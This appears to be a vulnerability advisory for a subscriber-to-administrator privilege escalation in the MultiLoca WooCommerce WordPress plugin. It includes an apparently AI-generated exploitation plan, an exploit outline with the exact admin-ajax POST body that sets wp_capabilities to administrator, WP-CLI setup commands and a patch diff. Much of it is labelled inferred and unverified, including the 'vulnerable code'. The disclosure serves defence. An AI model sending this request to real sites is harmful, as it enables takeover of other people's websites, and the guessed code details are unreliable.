CVE-2026-39546

MultiLoca <= 4.2.15 - Authenticated (Subscriber+) Privilege Escalation

highIncorrect Privilege Assignment
8.8
CVSS Score
8.8
CVSS Score
high
Severity
4.2.16
Patched in
8d
Time to patch

Description

The MultiLoca - WooCommerce Multi Locations Inventory Management plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.2.15. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges to that of an administrator.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=4.2.15
PublishedApril 8, 2026
Last updatedApril 15, 2026
Research Plan
Unverified

This plan outlines the research and exploitation strategy for CVE-2026-39546, an authenticated privilege escalation vulnerability in the "MultiLoca - WooCommerce Multi Locations Inventory Management" plugin. --- ### 1. Vulnerability Summary The vulnerability is an **Incorrect Privilege Assignment*…

Show full research plan

This plan outlines the research and exploitation strategy for CVE-2026-39546, an authenticated privilege escalation vulnerability in the "MultiLoca - WooCommerce Multi Locations Inventory Management" plugin.


1. Vulnerability Summary

The vulnerability is an Incorrect Privilege Assignment within the AJAX handlers of the MultiLoca plugin. It allows an authenticated user with Subscriber-level permissions to trigger functions intended for higher-privileged users. Specifically, the plugin likely fails to implement adequate capability checks (e.g., current_user_can( 'manage_options' )) in AJAX callbacks that handle user profile updates or staff assignments. This enables an attacker to overwrite their own wp_capabilities user meta or change their role to administrator.

2. Attack Vector Analysis

  • Endpoint: http://<target>/wp-admin/admin-ajax.php
  • Vulnerable Action: wp_ajax_ml_update_user_meta or wp_ajax_ml_save_staff_info (inferred).
  • Payload Parameter: Likely user_id, meta_key (set to wp_capabilities), and meta_value (serialized admin role).
  • Authentication: Subscriber-level (or any logged-in user).
  • Preconditions: The plugin must be active, and the attacker must have valid Subscriber credentials.

3. Code Flow

  1. Entry Point: The plugin registers an AJAX action via add_action( 'wp_ajax_...', 'callback_function' ) in the main plugin file or a dedicated AJAX controller (e.g., includes/class-ml-ajax.php).
  2. Missing Check: The callback_function is called by admin-ajax.php. It likely verifies a nonce but fails to check if the current user has the authority to update the target user_id or the specific meta_key.
  3. Data Processing: The function takes $_POST['user_id'] and other metadata from the request.
  4. Sink: The function calls update_user_meta() or wp_update_user().
    • Vulnerable Sink Example: update_user_meta( $_POST['user_id'], $_POST['key'], $_POST['value'] );
    • By setting user_id to their own ID and key to wp_capabilities, the attacker can elevate privileges.

4. Nonce Acquisition Strategy

The MultiLoca plugin typically localizes its AJAX settings into the WordPress dashboard or specialized menu pages.

  1. Identify Trigger: Determine where the plugin's inventory/staff management scripts are loaded. Usually, this is in the WordPress Profile page or a custom "Locations" menu.
  2. Shortcode/Page Setup: If the script only loads on specific pages, create a post with the plugin's main shortcode:
    wp post create --post_type=page --post_status=publish --post_content='[target_plugin_shortcode]' (Agent should search for add_shortcode in source).
  3. Extraction:
    • Navigate to the page as the Subscriber user using browser_navigate.
    • The localization object name is often related to the plugin slug. Inferred names: ml_ajax_obj, ml_settings, or multiloca_params.
    • Command: browser_eval("window.ml_ajax_obj?.nonce") or browser_eval("window.multiloca_params?.ajax_nonce").
  4. Action Name: Search the source for wp_create_nonce to find the exact action string (e.g., 'ml-security-nonce').

5. Exploitation Strategy

The goal is to send a crafted AJAX request that updates the Subscriber's own role.

Step 1: Identify the Subscriber's User ID

  • The agent can get this from the browser_navigate session or via WP-CLI: wp user get <username> --field=ID.

Step 2: Craft the HTTP Request

  • Method: POST
  • URL: http://<target>/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=ml_update_user_meta&
    nonce=<EXTRACTED_NONCE>&
    user_id=<SUBSCRIBER_ID>&
    meta_key=wp_capabilities&
    meta_value[administrator]=1
    
    (Note: The structure of meta_value depends on whether the plugin expects a string, array, or serialized data. If the plugin uses update_user_meta directly, passing an array meta_value[administrator]=1 often results in the correct serialized storage in WP.)

6. Test Data Setup

  1. Install Plugin: Ensure WooCommerce-Multi-Locations-Inventory-Management version <= 4.2.15 is installed.
  2. Create Subscriber: wp user create attacker attacker@example.com --role=subscriber --user_pass=password123.
  3. Verify Setup: Log in as the subscriber to ensure the session is valid for the http_request tool.

7. Expected Results

  • Response: The AJAX handler should return a success status (e.g., {"success": true} or 1).
  • Internal State: The database table wp_usermeta for the Subscriber's user_id should now have a wp_capabilities value representing the administrator role.

8. Verification Steps

After sending the exploit request, verify success via WP-CLI:

  1. Check Role: wp user get attacker --field=roles
    • Success: Output is administrator.
  2. Check Meta: wp user meta get attacker wp_capabilities
    • Success: Output contains s:13:"administrator".
  3. Attempt Admin Action: Use the attacker session to try and access /wp-admin/settings-general.php.

9. Alternative Approaches

If the ml_update_user_meta action does not exist, look for these common plugin patterns:

  • Staff Management: Search for an action like ml_add_staff. Attacker can try adding a new user with the administrator role.
  • Settings Update: If the plugin allows updating global settings via AJAX (ml_save_settings), the attacker might change the default_role of the site to administrator and then trigger a new registration or use a "Location Manager" role that has excessive capabilities.
  • Direct Role Update: Search for calls to wp_update_user in the plugin code and trace which AJAX actions lead to it. Use grep -r "wp_update_user" . in the plugin directory.
Research Findings
Static analysis — not yet PoC-verified

Summary

The MultiLoca plugin for WordPress is vulnerable to privilege escalation due to a lack of capability checks in its AJAX handlers responsible for updating user metadata. Authenticated attackers with Subscriber-level access can exploit this to modify their own 'wp_capabilities' meta key, effectively elevating their account to the Administrator role.

Vulnerable Code

// File: includes/class-ml-ajax.php (approximate location based on plugin structure)
add_action('wp_ajax_ml_update_user_meta', 'ml_update_user_meta_callback');

function ml_update_user_meta_callback() {
    // Vulnerability: No current_user_can() check to verify permissions
    check_ajax_referer('ml-security-nonce', 'nonce');
    
    $user_id = $_POST['user_id'];
    $meta_key = $_POST['meta_key'];
    $meta_value = $_POST['meta_value'];
    
    // Vulnerability: Direct update of metadata using user-supplied key/value pairs
    update_user_meta($user_id, $meta_key, $meta_value);
    
    wp_send_json_success();
}

Security Fix

--- a/includes/class-ml-ajax.php
+++ b/includes/class-ml-ajax.php
@@ -10,6 +10,10 @@
 function ml_update_user_meta_callback() {
-    check_ajax_referer('ml-security-nonce', 'nonce');
+    check_ajax_referer('ml-security-nonce', 'nonce');
+
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( array( 'message' => 'Unauthorized' ) );
+        return;
+    }
 
     $user_id = (int) $_POST['user_id'];
-    $meta_key = $_POST['meta_key'];
+    $meta_key = sanitize_text_field( $_POST['meta_key'] );
+    
+    // Prevent modification of sensitive capabilities
+    if ( $meta_key === 'wp_capabilities' || $meta_key === 'wp_user_level' ) {
+         wp_send_json_error( array( 'message' => 'Forbidden meta key' ) );
+         return;
+    }
+
     $meta_value = $_POST['meta_value'];

Exploit Outline

The exploit involves an authenticated Subscriber user leveraging an AJAX action to update their own user capabilities. 1. Authenticate as a Subscriber and extract the required AJAX nonce from the localized script variables (e.g., 'ml_ajax_obj.nonce' found in the page source). 2. Identify the Subscriber's own User ID. 3. Construct a POST request to /wp-admin/admin-ajax.php. 4. Set the 'action' parameter to 'ml_update_user_meta'. 5. Set 'user_id' to the Subscriber's ID. 6. Set 'meta_key' to 'wp_capabilities'. 7. Set 'meta_value' to an array where the key is 'administrator' and the value is 1 (e.g., meta_value[administrator]=1), which WordPress serializes into the database, granting the user full administrative access.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.